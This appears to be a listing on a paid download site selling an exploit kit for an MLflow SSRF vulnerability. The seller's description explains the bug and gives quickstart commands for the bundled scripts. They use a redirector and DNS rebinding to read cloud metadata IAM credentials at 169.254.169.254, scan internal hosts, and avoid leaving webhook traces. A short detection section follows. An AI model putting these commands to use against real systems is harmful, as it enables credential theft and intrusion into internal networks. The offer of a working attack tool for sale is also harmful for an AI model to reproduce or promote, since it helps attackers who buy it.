$123.54 USD (by current exchange rate)
Total: 1 file(s)
Hidden text contain: 0 symbol(s)
Download file(s):
CVE-2026-64849.zip 19.33KB
Info(Description by file owner):
# CVE-2026-64849 — MLflow SSRF via the model-registry webhook test endpoint
**CWE-918** · CVSS 9.3/9.5 (Critical) · **CISA KEV** (listed 2026-08-19, active exploitation)
**Fixed:** MLflow **3.15.0** (2026-07-31) — `SSRFProtectedHTTPAdapter` validates the peer IP of the
actually-connected socket. Practical exposure: **3.3.0 – 3.14.x** (webhook feature introduced ~3.3.0;
the IP guard added in 3.10.0 is what this CVE bypasses).
## The bug
MLflow's tracking server ships an **unauthenticated** webhook management API
(default configuration has no auth plugin):
```
POST /api/2.0/mlflow/webhooks create webhook {name, url, events:[{entity,action}], status}
POST /api/2.0/mlflow/webhooks/{id}/test test webhook -> {result:{success, response_status, response_body, error_message}}
DELETE /api/2.0/mlflow/webhooks/{id}
```
`_validate_webhook_url` checks that the URL's hostname resolves to **public** IPs — at create time and
again right before sending. Then the outbound `requests` POST:
1. **re-resolves the hostname independently** → DNS-rebinding TOCTOU (validation answer ≠ connection answer), and
2. **follows HTTP redirects without re-validating** the `Location` target.
The test endpoint echoes the upstream `response_status` **and** `response_body` back to the caller →
**full-read SSRF**: cloud metadata (`169.254.169.254`), internal microservices, localhost listeners.
Even when the test errors, `error_message` leaks internal reachability (refused/filtered/timeout).
## Files
| file | purpose |
|---|---|
| `exploit.py` | single-file exploit: `probe` (default), `scan`, `redirect-server` modes. Python ≥3.8, stdlib only |
| `rebind_dns.py` | minimal DNS-rebinding responder (first A answer public, later answers internal) |
| `mock_mlflow.py` | test double of the vulnerable-version webhook endpoints (built from v3.14.0 source); `--patched` emulates the ≥3.15.0 fix; `--rebind-name` emulates rebinding. Use it to demo/validate without a real MLflow |
## Quickstart
### 1. Read an internal URL via your public redirector (works against default config)
On your public host (valid TLS cert), run the responder:
```bash
./exploit.py redirect-server \
--targets "leak=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
--listen-port 8443 --tls-cert /etc/letsencrypt/live/your.host/fullchain.pem \
--tls-key /etc/letsencrypt/live/your.host/privkey.pem
```
Then from anywhere that can reach the MLflow server:
```bash
./exploit.py probe http://mlflow.internal:5000 \
--redirect-host your.host:8443 \
--target http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
The webhook URL (`https://your.host:8443/leak`) passes validation (public IP); MLflow POSTs to it,
follows the `302 Location:` to the internal target **without re-validating**, and returns the internal
response body to you. `--redirect-status 307/308` preserves the POST body instead of downgrading to GET.
### 2. DNS rebinding
```bash
python3 rebind_dns.py --public-ip --internal-ip 169.254.169.254 --listen 0.0.0.0:5353
# point victim.example at that resolver, then:
./exploit.py probe http://mlflow:5000 --mode rebind --rebind-host victim.example \
--target http://169.254.169.254/
```
With the default **https-only** scheme allowlist the rebinding connection is TLS-terminated at the
internal IP — full-read works against TLS-capable internals or when the operator allows `http`
(`MLFLOW_WEBHOOK_ALLOWED_SCHEMES=http,https`, common in labs); otherwise you still get the
error-message oracle (cert errors, timeouts, connection refused).
### 3. Direct (relaxed configs)
If the instance sets `MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS=true` (or predates the 3.10.0 guard), point
straight at the internal URL:
```bash
./exploit.py probe http://mlflow:5000 --mode direct --target http://169.254.169.254/
```
### 4. Internal scanning
```bash
# from public infrastructure (default-compatible):
./exploit.py redirect-server --targets "t0=http://169.254.169.254/,t1=http://10.0.0.1:8080/" ...
# then probe each tN individually, or with a relaxed MLflow config, scan locally:
./exploit.py scan http://mlflow:5000 --webhook-host \
--targets "t0=http://169.254.169.254/,t1=http://10.0.0.1:8080/"
```
Open ports answer with status/body; closed/filtered ports surface as `error_message`
(`ConnectionRefusedError` vs `ReadTimeout`) — classic SSRF port-scan semantics.
### 5. Validate locally (no MLflow needed)
```bash
python3 mock_mlflow.py --port 5000 --allow-private-ips --allowed-schemes http # vulnerable world
python3 mock_mlflow.py --port 5001 --patched --rebind-name rb.test \
--rebind-public-ip 93.184.216.34 --rebind-internal-ip 127.0.0.1 # patched world
```
`--patched` flips the result from *leak* to `SSRFProtectionError` — also a handy **version
fingerprint**: patched servers (≥3.15.0) answer the test with that exact error.
## Notes & limitations
- Default `MLFLOW_WEBHOOK_ALLOWED_SCHEMES=["https"]` — webhook URLs must be https unless the operator
widened the list; the redirect vector therefore starts at an https host.
- Webhook delivery retries up to 3× with backoff on `429/5xx` responses — internals returning 5xx are
hit up to four times (visible in server logs).
- `MLFLOW_WEBHOOK_REQUEST_TIMEOUT` defaults to 30 s — filtered targets take ~30 s each (scan timing oracle).
- Webhook endpoints require a **SQL-backed** store (default SQLite is fine); file-store-only servers
and `--artifacts-only` servers don't expose them (exploit reports this clearly).
- The exploit cleans up its webhooks after each probe (`--keep-webhook` to retain); names default to
`cve-2026-64849-*` — check the webhook table afterwards anyway.
- Exit codes: `0` leak confirmed · `10` test errored · `11` create failed · `12` unreachable.
## Detection
- Egress from the MLflow service to `169.254.169.254`, RFC1918 ranges, or unexpected hosts; look for
POSTs with JSON `{"entity":"registered_model","action":"created",...}` payloads and
`X-Mlflow-Delivery-Id` / `X-Mlflow-Timestamp` headers.
- Rows in the `webhooks` table created around the time of anomalous egress; test-endpoint calls
(`POST /api/2.0/mlflow/webhooks/*/test`) from untrusted clients.
- Server logs: `Webhook request to ... failed` / SSRFProtectionError lines.
Enter valid email to buy this volume:
We will send download links to this email address after payment confirmation.
Please note that SatoshiDisk does not provide support for the items purchased through a seller via us. If you have questions regarding your product, please contact the seller directly. We can't refund, change, rollback or cancel the transaction because of blockchain protocol. All sales are final.